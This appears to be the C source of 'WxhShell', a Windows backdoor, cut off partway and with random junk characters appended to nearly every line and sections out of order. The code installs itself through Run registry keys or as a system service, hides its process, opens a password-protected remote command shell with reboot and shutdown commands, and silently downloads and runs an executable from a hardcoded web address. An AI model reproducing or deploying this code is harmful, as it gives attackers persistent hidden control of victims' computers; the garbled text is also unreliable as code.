ULONG UniqueProcessId; ,seFkG@1
ULONG InheritedFromUniqueProcessId; c~tAvDX
} PROCESS_BASIC_INFORMATION; tHI*,
"DckwtG:%
PROCNTQSIP NtQueryInformationProcess; 1bRL"{m^)-
&4kM8Qh
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z;<ep@gy~
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U</+ .$b
&hN,xpC
HANDLE hProcess; 1r4,XSk
PROCESS_BASIC_INFORMATION pbi; ~mH+DV3
Jp]T9W\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1D1b"o
if(NULL == hInst ) return 0; $L{7%]7QC
^
}#f()
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j[DIz@^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a-PGW2G
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h([0,:\
]h@{6N'oNS
if (!NtQueryInformationProcess) return 0;
KOSyh<&
,P@QxnQ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?0J0Ij,
if(!hProcess) return 0; Zoow*`b|$U
Ak=UtDN[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
5-'vB
Z=9dMND
CloseHandle(hProcess); .cR*P<3O
60PYCqWc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BX$hAQ(6Q
if(hProcess==NULL) return 0; V\zsDP
`^%GN8d}nm
HMODULE hMod; "6V_/u5M;=
char procName[255]; hEOJb
@:R
unsigned long cbNeeded; WEC-<fN|Y\
|h,FUj<r
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oQvFrSz
A?Sm-#n{
CloseHandle(hProcess); faVS2TN4
qJMp1DC
if(strstr(procName,"services")) return 1; // 以服务启动 ` u=<c
h.b+r~u
return 0; // 注册表启动 hEcYpng~
} )6G+ tU'
|Ow$n
// 主模块 7SHo%bA
int StartWxhshell(LPSTR lpCmdLine) 4TJ!jDkox
{ r,nn~
SOCKET wsl; ,4Y sZ
BOOL val=TRUE; Qa?QbHc
int port=0; vs*I7<
struct sockaddr_in door; ;U7t
)/TVJAJ
if(wscfg.ws_autoins) Install(); AIfk"2
w:R]!e_6\9
port=atoi(lpCmdLine); V'yxqI?
h.LSMU (O
if(port<=0) port=wscfg.ws_port; B}5XRgq
,CW%JIM
WSADATA data; SA3Y:(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j&}B<f _6J
^V,@=QL3U
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; q_58Lw
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3mA/Nu_
door.sin_family = AF_INET; Ib(,P3
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -9Xw]I#QR
door.sin_port = htons(port); =0Y'f](2eW
<w11nB)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~$ WQ"~z
closesocket(wsl); |
VRq$^g
return 1; 1
'%-y
} _^3@PM>
KqY>4tb
if(listen(wsl,2) == INVALID_SOCKET) { faJ8zX
closesocket(wsl); Z{16S=0
return 1; bl9E&B/
} {lKEZirO
Wxhshell(wsl); -9i+@%{/
WSACleanup(); :\T_'Shq
| &\^n2`>
return 0; -CZ-l;5
C9+Dw#-fV
} rN'k4V"K
u"joCZ7`kG
// 以NT服务方式启动 h!;MBn`8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N>T=L0`
{ ,dq`EsHg`M
DWORD status = 0; '|+=B u
DWORD specificError = 0xfffffff; 7dx4~dF
rr6"Y&v
serviceStatus.dwServiceType = SERVICE_WIN32; Z~B+*HF
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1r&AB!Z #
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IT7:QEfKU
serviceStatus.dwWin32ExitCode = 0; 5[ hlg(eb
serviceStatus.dwServiceSpecificExitCode = 0; )S"o{N3B
serviceStatus.dwCheckPoint = 0; dR?5$V(
serviceStatus.dwWaitHint = 0; s={X-H< 2
.;}pU!S~R
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JG1LS$p^
if (hServiceStatusHandle==0) return; _4A&%>
+0)5H>h
status = GetLastError(); {S# 5g2
if (status!=NO_ERROR) OQ
0b$qw
{ $M%}Oz3*
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2}1!WIin
serviceStatus.dwCheckPoint = 0; |oB]6VS`
serviceStatus.dwWaitHint = 0; [kQ"6wh8
serviceStatus.dwWin32ExitCode = status; gB'`I(q5.
serviceStatus.dwServiceSpecificExitCode = specificError; 1W4H-/Re
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ec,z6v^9
return; yA457'R1
} @#J H=-06
Y-?51g [u
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;2 \<M6
serviceStatus.dwCheckPoint = 0; gS0,')w
serviceStatus.dwWaitHint = 0; NdaM9a#TZ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m}sh I8S
} +._f.BRmX.
$::51#^Wg
// 处理NT服务事件,比如:启动、停止 y0lL Fe~
VOID WINAPI NTServiceHandler(DWORD fdwControl) SlM>";C\
{ :1%VZvWk*
switch(fdwControl) NF@i#:
{ agGgJ@
case SERVICE_CONTROL_STOP: I-j(e)P(o_
serviceStatus.dwWin32ExitCode = 0; 6NP`P j R
serviceStatus.dwCurrentState = SERVICE_STOPPED; Gf!t< =T
serviceStatus.dwCheckPoint = 0; %Gnd"SGs
serviceStatus.dwWaitHint = 0; G;Pt|F?c
{ PP~CZ2Fze
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yRSy(/L^+
} /<Gyg7o0
return; 4j2~"K
case SERVICE_CONTROL_PAUSE: UEk|8yq
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7UY('Q[
break;
pyGFDB5_P
case SERVICE_CONTROL_CONTINUE: HE4`9$kVLr
serviceStatus.dwCurrentState = SERVICE_RUNNING; qLU15cOM
break; Ul7,k\q@
case SERVICE_CONTROL_INTERROGATE: YeR7*[l
break; noWRYS %
}; wK/}E h\^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8kKRx
} t>fA!K%{
aA!@;rR<yU
// 标准应用程序主函数 8JFnB(3xU
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OsDp88Bc
{ $,!dan<eA
|YMzp8Da(
// 获取操作系统版本 n/,rn>k7:
OsIsNt=GetOsVer(); \f~u85
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?^F*"+qI
'lSnyW{
// 从命令行安装 #h}IUR
if(strpbrk(lpCmdLine,"iI")) Install(); OpbszSl"y
Jc9@VxWY
// 下载执行文件 $u(M 4(}
if(wscfg.ws_downexe) { hPNQGVv
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _%C_uBLi
WinExec(wscfg.ws_filenam,SW_HIDE); :K
a^
} @8T
Vr2uy
qhv4R| )
if(!OsIsNt) { il 8A&`%
// 如果时win9x,隐藏进程并且设置为注册表启动 !M#?kKj
HideProc(); m&;zLBA;
StartWxhshell(lpCmdLine); Ix%"4/z>
} U:C-\ M
else fbW,0
if(StartFromService()) woC
FN1W
// 以服务方式启动 mRix0XBI~
StartServiceCtrlDispatcher(DispatchTable); l[ZQ7$kL
else q|de*~@-P
// 普通方式启动 x(T!I&i={
StartWxhshell(lpCmdLine); 'npT+p$V
F5om-tzy
return 0; 6jQ&dN{=qB
} ;+#za?w
M,=@|U/B
{g23[$X]N
I{Y
{
=========================================== kM}ic(K
c+YYM
:S
Xv<;[vq}F
w7.?zb !N
Es ZnGuY
iLI.e rm
" 1GyA QHx,
".Q!8j"@f
#include <stdio.h> 'IqK M
#include <string.h> .j]OO/,
#include <windows.h> D{3 x}5
#include <winsock2.h> UlLM<33_)
#include <winsvc.h> JXD?a.vy^q
#include <urlmon.h> $TH'"XK
O_%PBgcJr
#pragma comment (lib, "Ws2_32.lib") J_((o
#pragma comment (lib, "urlmon.lib") qJAv=D
9cx!N,R t
#define MAX_USER 100 // 最大客户端连接数 GwU>o:g"
#define BUF_SOCK 200 // sock buffer vb80J<4
#define KEY_BUFF 255 // 输入 buffer b*F :l#
\M1M2(@pDJ
#define REBOOT 0 // 重启 MSrY*)n!>O
#define SHUTDOWN 1 // 关机 GYy!`E
bl+@}+A
#define DEF_PORT 5000 // 监听端口 GXAk*vS=G
1zEZ\G
#define REG_LEN 16 // 注册表键长度 cxF?&0[mY
#define SVC_LEN 80 // NT服务名长度 UVQ a
af
%RK\Hz2q3
// 从dll定义API SBYMDKZ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WEY97_@
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p7ns(g@9
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W@uH!n>k
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \p=W4W/
`!>dbR&1
// wxhshell配置信息 Jr*S2z<*
struct WSCFG { U{:(j5m
int ws_port; // 监听端口 Z2pN<S{5
char ws_passstr[REG_LEN]; // 口令 ^|hRu{QW
int ws_autoins; // 安装标记, 1=yes 0=no KTAe~y
char ws_regname[REG_LEN]; // 注册表键名 |
9\7xT
char ws_svcname[REG_LEN]; // 服务名 ZE3ysLkm
char ws_svcdisp[SVC_LEN]; // 服务显示名 O+UV\
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Eg-Mm4o
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6pdl,5[x-
int ws_downexe; // 下载执行标记, 1=yes 0=no Kr}M>hF+|
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c#4L*$ViF
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B$[%pm`'2
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}; ?}lp o; $
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// default Wxhshell configuration J#OE}xASoA
struct WSCFG wscfg={DEF_PORT, "}~i7NBB
"xuhuanlingzhe", Hr8$1I$=
1, SpTORR8
"Wxhshell", bQ\ -6dOtv
"Wxhshell", g,GbaaXH
"WxhShell Service", q MT.7n:
"Wrsky Windows CmdShell Service", -GkK[KCH
"Please Input Your Password: ", #SLxN AH
1, S&))
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"http://www.wrsky.com/wxhshell.exe", +qW w-8
"Wxhshell.exe" 4+ ?ZTc(
}; 6L`+z
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c,
// 消息定义模块 Hk~
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char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :`"T Eif
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6x zR*~7
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K7R])*B.~
char *msg_ws_ext="\n\rExit."; 3K20f8g
char *msg_ws_end="\n\rQuit."; zl0:U2x7
char *msg_ws_boot="\n\rReboot..."; }.|5S+J?[
char *msg_ws_poff="\n\rShutdown..."; cPBy(5^
char *msg_ws_down="\n\rSave to "; >^\>-U|
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char *msg_ws_err="\n\rErr!"; O[(HE8E
char *msg_ws_ok="\n\rOK!"; +}L3T"
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char ExeFile[MAX_PATH]; x_iy;\s1
int nUser = 0; 5\kZgXWIh
HANDLE handles[MAX_USER]; Y"
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int OsIsNt; 1S.e5{
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SERVICE_STATUS serviceStatus; 08n%%
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SERVICE_STATUS_HANDLE hServiceStatusHandle; P)j9\ muc
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// 函数声明 MfpWow-#{
int Install(void); V1b_z
int Uninstall(void); O> ^~SO
int DownloadFile(char *sURL, SOCKET wsh); D>#v 6XI
int Boot(int flag); VOK$;s'9}
void HideProc(void); f;XsShxr
int GetOsVer(void); \t(r@qq
int Wxhshell(SOCKET wsl); f]6`GsE
void TalkWithClient(void *cs); [W|7r
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int CmdShell(SOCKET sock); 7te!>gUW
int StartFromService(void); ~Z/ `W`
int StartWxhshell(LPSTR lpCmdLine); WUK.>eM0
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4Z
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VOID WINAPI NTServiceHandler( DWORD fdwControl ); 88=FPEU
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// 数据结构和表定义 'e)ze^Jq
SERVICE_TABLE_ENTRY DispatchTable[] = 64?$TT
{ 3!w>"h0(
{wscfg.ws_svcname, NTServiceMain}, Oi&w_
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{NULL, NULL} Cy> +j{%!
}; <[f2ZS6
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// 自我安装
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int Install(void) .VEfd4+ni{
{ e4H0<h
}{
char svExeFile[MAX_PATH]; MdboWE5i
HKEY key; M |kDys
strcpy(svExeFile,ExeFile); o[r6sz:
Olh%"=*;
// 如果是win9x系统,修改注册表设为自启动 wQuaB6E
if(!OsIsNt) { 0]w[wc
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if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
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RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &OR*r7*Z
RegCloseKey(key); w[vIPlSdS
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WHavz0knf[
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5%aKlx9^#
RegCloseKey(key); jqsktJw#i
return 0; @`*YZq>p
} L , Fso./y
} 2u H\8A+'f
} [_G0kiI}W"
else { 5@rqU(]<
R M+K":p
// 如果是NT以上系统,安装为系统服务 f#Oz("d
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tYNt>9L|
if (schSCManager!=0) iKH T
{ "8dnFrE
SC_HANDLE schService = CreateService (s*Uz3sq
( 5)NfZN#&